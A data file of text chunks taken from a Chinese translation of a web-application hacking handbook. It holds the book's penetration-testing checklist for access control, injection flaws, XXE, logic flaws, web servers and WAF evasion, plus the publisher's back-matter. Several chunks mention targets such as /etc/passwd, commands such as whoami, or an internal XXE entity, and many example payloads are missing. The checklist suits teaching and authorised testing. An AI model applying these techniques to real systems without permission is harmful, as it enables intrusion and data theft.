    {"text": "（3）检查退出功能是否存在。 如果应用程序使用退出功能，测试它是否能够在服务器上有效确认用户的会话。 退出后，尝试重新使用原有的令牌，使用它请求一个受保护的页面，确定其是否仍然有效。"},
    {"text": "（2）即使应用程序并不向未通过验证的用户发布会话令牌，也可通过登录获得一个令牌，然后返回登录页面。 如果应用程序“愿意”返回这个页面，即使已经通过验证，也可使用相同的令牌以另一名用户的身份提交另一次登录。"},
    {"text": "（4）如果应用程序并不支持登录功能，但处理敏感数据（如个人信息和支付细节），并在提交后显示这些信息（如在“确认订单”页面上），那么可以使用前面的三种测试方法尝试访问显示敏感数据的页面。"},
    {"text": "如果这些请求中的参数完全可由攻击者事先决定（也就是说，其中并不包含任何会话令牌、无法预测的数据或其他机密），那么几乎可以肯定应用程序易于受到攻击。"},
    {"text": "对于GET请求，可以使用一个<img>标签，并通过src参数设置易受攻击的URL。 对于POST请求，可以建立一个表单，其中包含实施攻击所需全部相关参数的隐藏字段，并将其目标设为易受攻击的URL。"},
    {"text": "21.5.10 检查cookie范围 （1）如果应用程序使用HTTP cookie传送会话令牌（或任何其他敏感数据），那么检查相关的Set-Cookie消息头，寻找用于控制cookie范围的所有“域”或“路径”属性。"},
    {"text": "（2）如果一个应用程序明确放宽它的cookie范围限制，将其设定为一个父域或父目录，那么攻击者可以通过以上父域或父目录中的其他Web应用程序向该应用程序发动攻击。 （3）如果一个应用程序以它自己的域名为它的cookie域范围（或并未指定“域”属性），那么它仍然可能受到在子域上运行的应用程序的威胁。 这是设定cookie范围造成的后果，只有不在安全敏感的应用程序的子域上运行其他应用程序，才能避免这种后果。"},
    {"text": "（5）确定所有可能收到应用程序发布的cookie的域名和路径。 确定是否可通过这些域名或路径访问其他Web应用程序，以及是否可利用它们获得发布给目标应用程序用户的cookie。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 21.6 测试访问控件 图21-7 测试访问控制 21.6.1 了解访问控制要求 （1）根据应用程序的核心功能，了解访问控制在垂直隔离（拥有不同权限的用户可访问不同类型的功能）与水平隔离（拥有相同权限的用户可访问不同的数据）方面的主要要求，通常，应用程序会使用两种权限隔离，例如，普通用户能够访问自己的数据，而管理员则能够访问每个人的数据。 （2）检查应用程序解析过程得到的结果，确定最可能成为权限提升攻击目标的功能区域与数据资源类型。 （3）为提高测试访问控制漏洞的效率，渗透测试员应该获得大量拥有不同垂直权限与水平权限的账户。如果应用程序允许自我注册，渗透测试员就可以直接获得大量拥有不同水平权限的账户。为获得拥有不同垂直权限的账户，需要得到应用程序所有者的帮助（或利用某个漏洞访问一个高权限账户）。如后文所述，能否获得各种不同的账户将会对能够进行的测试产生直接影响。 21.6.2 使用多个账户测试 （1）如果应用程序实施垂直权限隔离，那么首先使用一个高权限账户确定它能访问的所有功能，然后再使用一个低权限账户尝试访问上述每一项功能。 （a）使用Burp在一个用户的权限下浏览应用程序的所有内容。 （b）复查Burp的站点地图内容，确保已确定要测试的所有功能。然后，注销应用程序并使用另一个用户账户登录；使用上下文菜单选择“比较站点地图”（compare site maps）功能，确定较低权限的用户可以访问哪些高权限请求。请参阅第8章了解这种技巧的更多详情。 （2）如果应用程序实施水平权限隔离，那么使用两个拥有相同权限的不同账户进行同等测试，尝试使用一个账户访问属于另一个账户的数据。通常，这需要替换请求中的一个标识符（如一个文档ID），以指定属于其他用户的资源。 （3）手动检查关键访问控制逻辑。 对于每个用户权限，复查用户可用的资源。尝试通过使用未授权用户的会话令牌，从未授权用户账户重新提交请求来访问这些资源。 （4）进行访问控制测试时，一定要分别测试多阶段功能的每一个步骤，确定每一个阶段是否正确实施了访问控制；或者应用程序是否认为访问后一个阶段的用户一定通过了前面阶段实施的安全检查。例如，如果一个包含表单的管理页面受到恰当保护，检查提交表单的过程中是否同样实施了合理的访问控制。 21.6.3 使用有限的权限测试 （1）如果不能优先访问不同权限的账户，或者优先访问几个能够访问不同数据的账户，那么测试不完善的访问控制机制可能相当困难。由于并不知道利用各种缺陷所需的URL名称、标识符和参数，因此许多常见的漏洞将更加难以确定。 （2）在使用低权限账户解析应用程序的过程中，渗透测试员可能已经确定了访问管理接口等特权功能的URL。如果这些功能没有得到充分保护，渗透测试员可能已经了解了这一点。 （3）反编译现有的所有已编译客户端，并提取对服务器端功能的任何引用情况。 （4）大多数受到水平访问控制保护的数据可使用一个标识符（如一个账号或订单号）访问。为了使用一个账户测试访问控制是否有效，需要尝试、猜测或发现与其他用户的数据有关的标识符。如有可能，生成一系列紧密相连的标识符（例如，通过建立几个新订单），尝试确定所有可帮助预测发布给其他用户的标识符的模式。如果无法生成新的标识符，就只能分析已经确定的标识符，并根据这些标识符猜测其他标识符。 （5）如果能够预测出发布给其他用户的标识符，使用第14章描述的技巧实施自动攻击，获取属于其他用户的有用数据。可使用Burp Intruder的Extract Grep功能从应用程序的响应中截获相关信息。 21.6.4 测试不安全的访问控制方法 （1）一些应用程序根据请求参数以一种内在不安全的方式实施访问控制。在所有关键请求中寻找edit=false或access=read之类的参数，根据它们的主要作用修改这些参数，尝试破坏应用程序的访问控制逻辑。 （2）一些应用程序根据HTTP Referer消息头做出访问控制决策。例如，一个应用程序可能对/admin.jsp实施严格的访问控制，并接受在Referer中显示它的所有请求。为测试这种行为，尝试执行一些获得授权的特权操作，并提交一个其中缺少Referer消息头或Referer消息头被修改的请求。如果这种改变导致应用程序阻止请求，应用程序很可能以不安全的方式使用Referer消息头。尝试使用一个未通过验证的用户账户执行相同的操作，但提交原始的Referer消息头，看这时是否能够成功执行操作。 （3）如果站点允许HEAD方法，则应测试针对URL的不安全的容器托管访问控制。使用HEAD方法提出请求，确定应用程序是否允许该方法。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 21.7 测试基于输入的漏洞 许多重要的漏洞由无法预测的用户输入触发，并可能出现在应用程序的任何位置。"},
    {"text": "用一组攻击字符串模糊测试每个请求的每一个参数，是在应用程序中探查这种漏洞的有效方法。 图21-8 测试基于输入的漏洞 21.7.1 模糊测试所有请求参数 （1）检查应用程序解析过程中获得的结果，确定所有提交由服务器端应用程序处理的参数的特殊客户端请求。"},
    {"text": "使用这个选项将在Burp Intruder中配置请求的内容、正确的目标主机和端口，然后Burp Intruder自动将所有请求参数的值标记为有效载荷位置，准备进行模糊测试。"},
    {"text": "因此，较为明智的做法是，测试一系列可在特定的专门设计的输入的反常响应中轻易确定的常见漏洞，以及出现在应用程序的所有位置而非某些特殊功能中的漏洞。"},
    {"text": "SQL注入 XSS 与消息头注入 OS 命令注入 路径遍历 脚本注入 文件包含 （4）前面所有的有效载荷均以字面量形式显示，?、;、&、+ 空格与=字符因为在HTTP请求中有特殊含义，需要进行URL编码。"},
    {"text": "可以单击结果表的每一个列标题，对列中的值进行分类（按下Shift键的同时单击鼠标可对结果进行反向排序），这样做可迅速确定所有不同于其他结果的反常响应。"},
    {"text": "（9）参考本章后文对每一类问题的详细描述，对模糊测试结果表明可能存在的每一个潜在的漏洞进行确认，同时考虑如何成功地利用这些漏洞。"},
    {"text": "（10）一旦配置Burp Intruder对某个请求进行模糊测试后，就可以迅速地对应用程序中的其他请求进行相同的测试。 在Burp Proxy中选定目标请求，再选择“发送至Intruder”选项，就可以立即使用现有的测试选项在Intruder中进行测试。"},
    {"text": "（12）除了手动对应用程序请求进行模糊测试外，如果拥有一个自动化Web应用程序漏洞扫描 器，还应当运行该扫描器，对目标应用程序进行自动测试，并比较两方面的测试结果。"},
    {"text": "21.7.2 测试SQL注入 （1）如果发现21.7.1节第3步中列出的SQL攻击字符串导致任何反常响应，那么应该手动探查，观察应用程序如何处理相关参数，确定其中是否存在SQL注入漏洞。"},
    {"text": "如果应用程序做出相同的响应，表示它易于受到攻击； 如果数字表达式的值对应用程序的行为造成系统性的影响，那么应用程序就特别容易受到攻击。"},
    {"text": "例如，下面两个表达式的结果都等于2： （7）如果使用waitfor命令进行的模糊漏洞测试导致应用程序在进行响应时出现反常的时间延迟，那么所使用的数据库为MS-SQL，且应用程序易于受到SQL注入攻击。"},
    {"text": "如果能够根据任意一个条件引发不同的应用程序响应，可使用Absinthe提取任意数据，一次一比特。 如果能够根据一个任意的条件触发时间延迟，利用它们获取数据，一次一比特。"},
    {"text": "21.7.3 测试XSS和其他响应注入 1．确定反射型请求参数 （1）单击“有效载荷Grep”列，分类模糊漏洞测试的结果，确定任何与21.7.1节第3步中列出的XSS有效载荷相匹配的字符串。"},
    {"text": "如果该字符串出现在响应主体中，应测试应用程序中是否存在XSS漏洞。 如果它出现在HTTP消息头中，应测试应用程序中是否存在消息头注入漏洞。 如果它被用在302响应的Location消息头中，或者用于以某种方式指定重定向，应测试应用程序中是否存在重定向漏洞。 请注意，同一个输入可能会被复制到响应中的几个位置，因此应用程序中可能存在几种类型的反射型漏洞。"},
    {"text": "2．测试反射型XSS （1）对于在响应主体中出现的所有请求参数，检查它周围的HTML代码，确定是否可以提交专门设计的输入，从而执行任意JavaScript脚本。"},
    {"text": "（5）如果在一个POST请求中发现了XSS漏洞，仍然可以通过一个包含表单的恶意Web站点，由必要的请求参数和一段脚本自动提交该表单，对这个漏洞加以利用。"},
    {"text": "3．测试HTTP消息头注入 （1）对于在响应消息头中出现的每一个请求参数，确认应用程序是否接受URL编码的回车（%0d）与换行（%0a）符，以及它们是否按原样在响应中返回。"},
    {"text": "（4）如果发现应用程序阻止包含换行符的输入，或者净化出现在响应中的这些字符，尝试使用下面的输入测试过滤的效率： 4．测试任意重定向 （1）如果反射型输入用于指定某类重定向的目标，测试是否可以提交专门设计的输入，生成指向一个外部Web站点的任意重定向。"},
    {"text": "（2）如果应用程序以参数值的形式传送绝对URL，那么修改URL中的域名，测试应用程序是否重定向到不同的域。 （3）如果参数中包含一个相对URL，将这个URL修改成指向另一个域的绝对URL，并测试应用程序是否重定向到这个域。"},
    {"text": "5．测试保存型攻击 （1）如果应用程序保存用户提交的输入，并随后在屏幕上显示这些输入，那么，在模糊测试整个应用程序后，可能会发现攻击字符串在本身并未包含这些字符串的请求的响应中返回。"},
    {"text": "（5）如果发现一个漏洞将一名用户提交的输入显示给其他用户，渗透测试员要确定可用于实现目标的最佳攻击有效载荷，如会话劫持或请求伪造。"},
    {"text": "如果被保存的数据仅向提交该数据的用户显示，那么设法找出办法，链接已经发现的所有漏洞（如不完善的访问控制），从而在其他用户 的会话中注入一个攻击。"},
    {"text": "如果应用程序允许HTML. JAR或文本文件，且并不确认或净化它们的内容，那么几乎可以肯定它们易于受到攻击。 如果它允许JPEG文件且并不确认其中是否包含有效的图像，那么它可能易于受到针对Internet Explorer 用户的攻击。"},
    {"text": "（7）在一名用户提交的数据被显示给其他用户的每一个位置，如果应用程序实施的过滤阻止发动保存型XSS攻击，确定应用程序的行为是否使它易于受到本站点请求伪造攻击。"},
    {"text": "21.7.4 测试OS命令注入 （1）如果在21.7.1节第3步中列出的任何命令注入攻击字符串导致应用程序在做出响应时出现反常的时间延迟，那么应用程序易于受到OS命令注入攻击。"},
    {"text": "（2）使用所发现的任何一个可成功实施攻击的注入字符串，尝试注入另一个更加有用的命令（如ls或dir），确定是否能够将命令结果返回到浏览器上。"},
    {"text": "例如： （4）一旦找到注入命令的方法并能够获得命令执行结果，就应当确定自己的权限（通过使用whoami或类似命令，或者尝试向一个受保护的目录写入一个无害文件）。"},
    {"text": "（5）如果知道自己的输入被提交给某个OS命令，但提交前面列出的攻击字符串无法成功实施攻击，那么观察是否可以使用<或>字符将一个文件的内容指向命令的输入，或者将命令的输出指向一个文件。"},
    {"text": "如果知道或能够猜测出被执行的命令，尝试注入与该命令有关的命令行参数，以有利的方式修改它的行为（例如，指定Web根目录中的输入文件）。"},
    {"text": "如果收到一个不常见的错误消息，或者长度不正常的响应，手动检查响应，确定其中是否包含特定文件的内容或其他表示执行了反常文件操作的证据。"},
    {"text": "例如，如果应用程序提交参数: 那么可以尝试提交以下值: 如果两种情况下应用程序的行为完全相同，那么它易于受到攻击，渗透测试员应该继续以下步骤。"},
    {"text": "如果这些尝试失败，应用程序可能在许可文件访问前实施了各种过滤或检查，应当进行深入分析，了解应用程序实施的控制以及是否可以避开这些控制。"},
    {"text": "例如： （7）如果这些攻击无法取得成功，尝试组合使用几种测试技巧，首先对基础目录进行全面的测试，了解应用程序实施的过滤以及它如何处理无法预料的输入。"},
    {"text": "例如，可以使用类似于模糊测试OS命令注入时使用的攻击有效载荷： 21.7.7 测试文件包含 （1）如果在模糊测试时收到任何由目标应用程序的基础架构提出的HTTP连接，那么几乎可以肯定应用程序易于受到远程文件包含攻击。"},
    {"text": "（3）如果发现一个远程文件包含漏洞，部署一台包含恶意脚本（专门针对所攻击的语言而编写）的Web服务器，使用和测试脚本注入类似的命令确定脚本是否被执行。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 21.8 测试特殊功能方面的输入漏洞 除了前面介绍的基于输入的漏洞外，还有一系列漏洞只有在特殊功能中才会表现出来。"},
    {"text": "在实践下面的测试步骤之前，渗透测试员首先应当对应用程序的受攻击面的评估结果进行分析，确定可能出现这些漏洞的应用程序功能，并集中精力测试这些功能。"},
    {"text": "图21-9 测试功能方面的输入漏洞 21.8.1 测试SMTP注入 （1）对于与电子邮件有关的功能使用的每一个请求，轮流提交以下每个测试字符串作为每一个参数，并在相关位置插入电子邮件地址。"},
    {"text": "0x7f与0x80（127与128） 0xff与0x100（255与256） 0x7ffff与0x8000（32 767与32 768） 0xffff与0x10000（65 535与65 536） 0x7fffffff与0x80000000（2 147 483 647与2 147 483 648） 0xffffffff与0x0（4 294 967 295与0） （3）当被修改的数据以十六进制表示时，应该发送每个测试字符串的little-endian 与big-endian版本，例如，ff7f以及7fff。"},
    {"text": "（4）如果HTTP请求中包含几个可放入SOAP消息中的参数，尝试在一个参数中插入起始注释字符<!--，在另一个参数中插入结束注释字符!-->。"},
    {"text": "21.8.4 测试LDAP注入 （1）在任何使用用户提交的数据从一个目录服务中获取信息的功能中，针对每一个参数，轮流测试是否可以注入LDAP查询。"},
    {"text": "（3）尝试输入大量闭括号： 这个输入会使查询语法失效，因此，如果它导致错误或其他反常行为，那么应用程序易于受到攻击（许多其他应用程序功能和注入情况也会造成相同的结果）。"},
    {"text": "以下属性常用在由LDAP查询的目录中： 21.8.5 测试XPath注入 （1）尝试提交下面的值，并确定它们是否会使应用程序的行为发生改变，但不会造成错误： （2）如果参数为数字，尝试提交下面的测试字符串： （3）如果上面的任何字符串导致应用程序的行为发生改变，但不会造成错误，很可能可以通过设计测试条件，一次提取一字节的信息，从而获取任意数据。"},
    {"text": "（2）针对根据特定值返回特定页面的请求参数，尝试使用以下各种语法附加新的注入参数： 如果应用程序的行为与未修改原始参数时相同，说明其中可能存在HTTP参数注入漏洞。"},
    {"text": "如果已知会向用户返回某个字段，可以尝试指定一个外部实体，如下所示： 如果找不到已知字段，可以将“http://192.168.1.1:25”指定为外部实体，并监视页面响应时间。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 21.9 测试逻辑缺陷 图21-10 测试逻辑缺陷 21.9.1 确定关键的受攻击面 （1）逻辑缺陷的形式多种多样，并且可能存在于应用程序功能的每一方面。为确保探查逻辑缺陷的效率，首先应该将受攻击面缩小到一个适当的范围，以方便手动测试。 （2）检查应用程序解析过程中获得的结果，确定以下情况。 多阶段过程。 重要的安全功能，如登录。 信任边界的转换（例如，登录时由匿名用户转变为自我注册用户）。 检查和调整交易价格或数量。 21.9.2 测试多阶段过程 （1）如果一个多阶段过程需要按预定的顺序提交一系列请求，尝试按其他顺序提交这些请求。尝试完全省略某些阶段，几次访问同一个阶段，或者推后访问前一个阶段。 （2）这些阶段可能通过一系列指向特殊URL的GET或POST请求进行访问，或者需要向同一个URL提交不同的参数。被访问的阶段可通过在被请求的参数中提交功能名称或索引来指定。确保完全了解应用程序访问不同阶段所使用的机制。 （3）除了打乱操作步骤的顺序外，尝试提取在一个过程阶段提交的参数，并在另一个阶段提交这些参数。如果相关数据被应用程序更新，应当确定是否可以利用这种行为破坏应用程序的逻辑。 （4）如果在一个多阶段过程中，不同的用户对同一组数据进行操作，提取某一名用户提交的每一个参数，再由另一名用户提交这些参数。如果应用程序接受并处理这些参数，如前面所述，探索这种行为的衍生效果。 （5）根据执行功能的情形，了解开发者做出的假设以及主要受攻击面位于何处。设法找到违反这些假设以在应用程序中造成反常行为的方法。 （6）如果不按顺序访问多阶段功能，应用程序常常表现出一系列异常现象，如变量值为空字符或未被初始化，状态仅部分定义或相互矛盾，以及其他无法预料的行为。寻找有用的错误消息和调试结果，可以通过它们进一步了解该功能的内部机制，从而调整当前攻击，或者发动另一次攻击。 21.9.3 测试不完整的输入 （1）应用程序的重要安全功能需要处理大量用户提交的输入，并根据这些输入做出决策。因此，应测试这些功能对不完整输入的适应性。 （2）轮流测试每一个参数，从请求中删除参数的名称与值。监控应用程序的响应，查找所有行为异常或错误消息，它们可能提供与应用程序逻辑有关的信息。 （3）如果所操纵的请求属于一个多阶段过程，应测试整个过程，因为应用程序可能将前一个阶段的数据保存在会话中，然后在后一个阶段处理。 21.9.4 测试信任边界 （1）了解应用程序如何处理不同用户信任状态之间的转换。寻找功能，帮助一名拥有特定信任地位的用户累积一定量与其身份有关的状态，例如，匿名用户在自我注册过程中提供个人信息，或者完成旨在确认其身份的账户恢复过程。 （2）寻找办法，通过在一个区域积累相关状态，在信任边界之间进行不恰当的转换，然后以正常不被允许的方式切换到另一个区域。例如，完成部分账户恢复过程后，尝试切换到与某一名用户有关的通过验证的页面。当进行这种转换时，测试应用程序是否分配了一个不相称的信任级别。 （3）确定是否可利用更高权限的功能直接或间接访问或者猜测某些信息。 21.9.5 测试交易逻辑 （1）如果应用程序设置交易限额，测试提交负值会造成什么影响。如果应用程序接受负值，就可以通过从反方向进行大额交易来规避这种限额。 （2）分析是否可以使用一连串的交易达成一种状态，然后利用它达到目的。例如，测试是否 可以在账户之间进行几次低额转账，就可以产生一种应用程序的逻辑将会阻止的较大余额。 （3）如果应用程序根据用户控制的数据或操作确定的标准调整价格或其他敏感价值，首先应了解应用程序使用的算法以及需要调整的逻辑。确定这些调整是一次性行为，还是需要根据用户执行的其他操作进行修改。 （4）努力想办法操纵应用程序的行为，使应用程序进行的调整与开发者最初设定的标准相互矛盾。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 21.10 测试共享主机漏洞 图21-11 测试共享主机漏洞 21.10.1 测试共享基础架构之间的隔离 （1）如果应用程序在一个共享基础架构中运行，分析它为共享环境中的客户端提供的用于更新和管理其内容与功能的访问机制。考虑以下问题。 远程访问机制是否使用一个安全的协议与经过适当强化的基础架构？ 客户端是否能够访问他们正常情况下不能访问的文件、数据及其他资源？ 客户端是否能够在主机环境中获得一个交互式的shell，并执行任意命令？ （2）如果使用一个所有权应用程序，以方便客户端配置和定制共享环境，考虑是否能够以这个应用程序为攻击目标，攻破该环境本身以及其中运行的所有应用程序。 （3）如果能够在某个应用程序中执行命令、注入SQL脚本或访问任意文件，仔细研究，看是否能够以此扩大攻击范围，攻破其他应用程序。 21.10.2 测试使用ASP主机的应用程序之间的隔离 （1）如果使用ASP主机的应用程序由许多共享与定制组件构成，确定其中的任意共享组件，如日志机制、管理功能以及数据库代码组件，尝试利用这些组件攻破应用程序的共享部分，进而攻破其他应用程序。 （2）如果共享环境使用一个常用的数据库，使用NGSSquirrel之类的数据库扫描工具，全面审查数据库配置、补丁版本、表结构以及许可。数据库安全模型中存在的任何缺陷都可加以利用，将攻击范围由一个应用程序扩大到另一个应用程序。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 21.11 测试Web服务器漏洞 图21-12 测试Web服务器漏洞 21.11.1 测试默认证书 （1）检查应用程序解析过程中获得的结果，确定应用程序使用的、可能包含可访问的管理接口的Web服务器与其他技术。 （2）对Web服务器进行端口扫描，确定在指向主目标应用程序的不同端口上运行的所有管理接口。 （3）对于确定的接口，查阅制造商文档资料与常用默认密码表，获得默认证书。 （4）如果默认证书无效，使用21.4节描述的技巧尝试猜测有效的证书。 （5）如果能够访问管理接口，审查可用的功能，确定是否可以利用这项功能进一步攻破主机与主应用程序。 21.11.2 测试默认内容 （1）分析Nikto扫描结果（21.1.4节中的第1步），确定服务器上存在的、但并不属于应用程序的默认内容。 （2）使用搜索引擎与其他资源（如www.exploit-db.com）确定已知应用程序所使用的技术的默认内容与功能。如有可能，在本地安装这些技术，并在其中查找可在渗透测试中利用的所有默认 功能。 （3）检查默认内容，从中查找任何可用于攻击服务器或应用程序的功能或漏洞。 21.11.3 测试危险的HTTP方法 （1）使用OPTIONS方法列出服务器使用的HTTP方法。请注意，不同目录中激活的方法可能各不相同。可以使用Paros进行漏洞扫描，帮助完成这个检查。 （2）手动测试每一种方法，确认其是否可用。 （3）如果发现一些WebDAV方法被激活，使用一个激活WebDAV的客户端进行深入调查，如Microsoft FrontPage或Internet Explorer中的 Open as Web Folder（以Web文件夹打开）选项。 21.11.4 测试代理功能 （1）使用GET与CONNECT请求，尝试使用Web服务器作为代理服务器，连接因特网上的其他服务器，并获取其中的内容。 （2）尝试使用前面描述的两种技巧连接主机基础架构中的不同IP地址与端口。 （3）尝试使用前面描述的两种技巧，在请求中指定127.0.0.1为目标主机，连接Web服务器上的常用端口号。 21.11.5 测试虚拟主机配置不当 （1）使用以下方式向根目录提交GET请求： 正确的Host消息头； 恶意Host消息头； Host消息头中的服务器IP地址； 无Host消息头（仅使用HTTP/1.0）。 （2）比较对这些请求的响应。常见的结果是，在Host消息头中使用服务器的IP地址获得目录列表。还可以获得各种默认内容。 （3）如果观测到应用程序表现出不同的行为，使用生成不同结果的主机名称重复21.1节描述的应用程序解析过程。一定要使用-vhost选项进行一次Nikto扫描，确定在最初的应用程序解析过程中忽略的默认内容。 21.11.6 测试Web服务器软件漏洞 （1）使用Nessus与所拥有的所有其他类似的扫描器，确定所测试的Web服务器软件中存在的所有已知漏洞。 （2）同时，浏览Security Focus、Bugtraq和Full Disclosure等资源，在攻击目标中查找最近发现的、尚未修复的漏洞信息。 （3）如果应用程序由第三方开发，确定它是否自带Web服务器（通常为一个开源服务器）；如果是，在这个服务器中查找所有漏洞。请注意，在这种情况下，服务器的标准版本信息可能已被修改。 （4）如有可能，应该考虑在本地安装所测试的软件，并自己进行测试，查找尚未发现或广泛流传的新漏洞。 21.11.7 测试Web应用程序防火墙 （1）在参数值中使用明确的攻击有效载荷向应用程序（最好是响应中包含名称和/或值的某个应用程序位置）提交任意参数名称。如果应用程序阻止该攻击，这可能是由于外部防御机制所致。 （2）如果可以提交在服务器响应中返回的变量，则提供一系列模糊测试字符串及这些字符串的编码形式可以确定应用程序的用户输入防御行为。 （3）对应用程序中的变量实施相同的攻击来确认这一行为。 （4）对于所有模糊测试字符串和请求，使用标准签名数据库中不可能存在的有效载荷字符串。根据定义，我们不可能提供这些字符串的示例。但是，在进行文件检索时，应避免将/etc/passwd或/windows/system32/config/sam作为有效载荷。此外，应在XSS攻击中避免使用<script>，并避免将alert（）或xss用作XSS有效载荷。 （5）如果特定请求被阻止，可以尝试在其他位置或上下文中提交相同的参数。例如，在GET请求的URL中、在POST请求主体中，以及在POST请求的URL中提交相同的参数。 （6）此外，应尝试在ASP.NET上将参数作为cookie提交。如果在查询字符串或消息主体中找不到参数foo，API Request.Params[“foo”]会检索名为foo的cookie的值。 （7）回顾第4章中介绍的引入用户输入的所有其他方法，选择其中任何不受保护的方法。 （8）确定以非标准格式（如序列化或编码）或可能以此类格式提交用户输入的位置。如果找不到此类位置，可以通过串联字符串和/或将字符串分布到多个参数中来构建攻击字符串。（注意，如果目标是ASP.NET，可以使用HPP通过同一变量的各种变体来串联攻击字符串。）"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 21.12 其他检查 图21-13 其他检查 21.12.1 测试基于DOM的攻击 （1）对应用程序中包含的每一段JavaScript脚本进行简单的代码审查，确定可通过任何一个专门设计的URL、在相关页面的DOM中引入恶意数据而触发的XSS或重定向漏洞。审查内容包括HTML页面（无论静态或动态生成的页面）中的所有单独的JavaScript文件和脚本。 （2）确定使用以下API的所有情况，使用这些API可访问通过一个专门设计的URL控制的DOM数据： （3）在代码中追踪相关数据，确定应用程序对它执行何种操作。如果数据（或它的一个被操纵的表单）被提交给下列API中的一个，那么应用程序可能易于受到XSS攻击： （4）如果数据被提交给下列API中的一个，那么应用程序可能易于受到重定向攻击： 21.12.2 测试本地隐私漏洞 （1）检查拦截代理服务器生成的日志，确定测试过程中应用程序送出的所有Set-Cookie指令。如果发现有任何Set-Cookie指令包含一个将来日期的expires属性，用户的浏览器会将该cookie保持到这个日期。检查传送敏感数据的持久性cookie的所有内容。 （2）如果一个持久性cookie中包含敏感数据，那么本地攻击者就能够截获这些数据。即使这些数据被加密，截获它们的攻击者仍然可以将这个cookie重新提交给应用程序，访问该cookie访问的任何数据或功能。 （3）如果包含敏感数据的页面通过HTTP访问，在服务器响应中寻找缓存指令。如果其中没有下列指令（在HTTP消息头或HTML元标签中），那么相关页面可能被一个或几个浏览器存入缓存： （4）确定应用程序中通过URL参数传送敏感数据的所有情况。如果存在这样的情况，检查浏览器的历史记录，证实这些数据已经保存在那里。 （5）对于用户提交敏感数据（如信用卡信息）的所有表单，审查其中的HTML源代码。如果没有在表单标签或输入字段的标签中设置autocomplete=off属性，输入的数据将保存在激活自动完成的浏览器中。 21.12.3 测试脆弱的SSL加密算法 （1）如果应用程序使用SSL进行通信，使用THCSSLCheck工具列出它支持的加密算法和协议。 （2）如果SSL支持脆弱或过时的加密算法和协议，处在适当位置的攻击者就可以实施攻击，降级或破译应用程序用户的SSL通信，访问他们的敏感数据。 （3）一些Web服务器声称它支持某些脆弱加密算法和协议，但如果客户提出请求，它实际上拒绝使用这些算法和协议完成握手。在使用THCSSLCheck工具时，这种情况可能会造成错误警报。可以使用Opera浏览器，尝试通过指定的脆弱协议完成一次握手，确定是否可使用这些协议访问应用程序。 21.12.4 检查同源策略配置 （1）检查/crossdomain.xml文件。如果应用程序允许无限制访问（通过指定<allow-access-from domain=“*” />），来自其他站点的Flash对象可以“叠置”应用程序用户的会话，以进行双向交互。这导致任何其他域可以检索所有数据，并执行任何用户操作。 （2）检查/clientaccesspolicy.xml文件。与Flash类似，如果<cross-domain-access>配置过于宽泛，其他站点将可以与接受测试的站点进行双向交互。 （3）通过添加指定其他域的Origin消息头并检查返回的任何Access-Control消息头，使用XMLHttpRequest测试应用程序如何处理跨域请求。允许任何域、或指定的其他域进行双向交互的安全隐患与Flash跨域策略造成的安全隐患相同。 黑客攻防技术宝典：Web实战篇（第2版） 21.13 检查信息泄露 （1）在探查目标应用程序的整个过程中，监控它的响应，查找可能包含与错误原因、所使用技术以及应用程序的内部结构与功能有关的错误消息。 （2）如果收到不常见的错误消息，使用标准的搜索引擎检查这些消息。可以使用各种高级搜索特性缩小搜索范围。例如： （3）检查搜索结果，寻找关于错误消息的所有讨论以及其他出现相同消息的所有站点。其他 应用程序生成的同一条错误消息可能更详细，有助于渗透测试员更好地了解错误条件。使用搜索引擎缓存获取不再出现在当前应用程序中的错误消息。 （4）使用Google代码搜索查找生成特定错误消息的、公开发布的所有代码。搜索可能被硬编码到应用程序源代码中的错误消息代码段。还可以使用各种高级搜索特性指定代码语言及其他已知的细节。例如： （5）如果获得包含库与第三方代码组件名称的栈追踪错误消息，在上述两种搜索引擎中搜索这些名称。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） “关于黑客攻防技术，没有一本书能比这本书讲解得更为透彻和全面！” ——Jason Haddix，惠普公司渗透测试总监 “如果你对Web应用程序安全感兴趣，我强烈推荐本书，它实为Web安全人士必读之作。” ——Robert Wesley McGrew, McGrew安全公司研究人员 “第1版本来就是Web安全领域的扛鼎之作，第2版可谓经典之上的完善，绝对值得拥有！” ——Daniel Miessler，安全顾问 The Web Application Hacker's Handbook Finding and Exploiting Security Flaws Second Edition 黑客攻防技术宝典Web实战篇（第2版） Web应用无处不在，安全隐患如影随形。承载着丰富功能与用途的Web应用程序中布满了各种漏洞，攻击者能够利用这些漏洞盗取用户资料，实施诈骗，破坏其他系统等。近年来，一些公司的网络系统频频遭受攻击，导致用户信息泄露，造成不良影响。因此，如何确保Web应用程序的安全，已成为摆在人们眼前亟待解决问题。 本书是Web安全领域专家的经验结晶，系统阐述了如何针对Web应用程序展开攻击与反攻击，深入剖析了攻击时所使用的技巧、步骤和工具，条理清晰，内容详尽。第2版全面升级，涵盖了最新的攻击技巧与应对措施，此外，书中还列出了几百个“漏洞实验室”，以帮助读者对所学内容进行巩固和实战演习。"},
    {"text": "index Document Outline 黑客攻防技术宝典 Web实战篇（第二版） 前言 目录 第一章 Web应用程序安全与风险 第二章 核心防御机制 第三章 Web应用程序技术 第四章 解析应用程序 第五章 避开客户端控件 第六章 攻击验证机制 第七章 攻击会话管理 第八章 攻击访问控制 第九章 攻击数据存储区 第十章 测试后端组件 第十一章 攻击应用程序逻辑 第十二章 攻击其他用户 第十三章 攻击用户：其他技巧 第十四章 定制攻击自动化 第十五章 利用信息泄露 第十六章 攻击本地编译应用程序 第十七章 攻击应用程序架构 第十八章 攻击Web服务器 第十九章 查找源代码中的漏洞 第二十章 Web应用程序黑客工具包 第二十一章 Web应用程序渗透测试方法论\nCover\nindex"},
    {"text": "黑客攻防技术宝典：反病毒篇 看完了 如果您对本书内容有疑问，可发邮件至contact@turingbook.com，会有编辑或作译者协助答疑。也可访问图灵社区，参与本书讨论。 如果是有关电子书的建议或问题，请联系专用客服邮箱：ebook@turingbook.com。 在这里可以找到我们： 微博 @图灵教育 : 好书、活动每日播报 微博 @图灵社区 : 电子书和好文章的消息 微博 @图灵新知 : 图灵教育的科普小组 微信 图灵访谈 : ituring_interview，讲述码农精彩人生 微信 图灵教育 : turingbooks 图灵社区会员专享 尊重版权"},
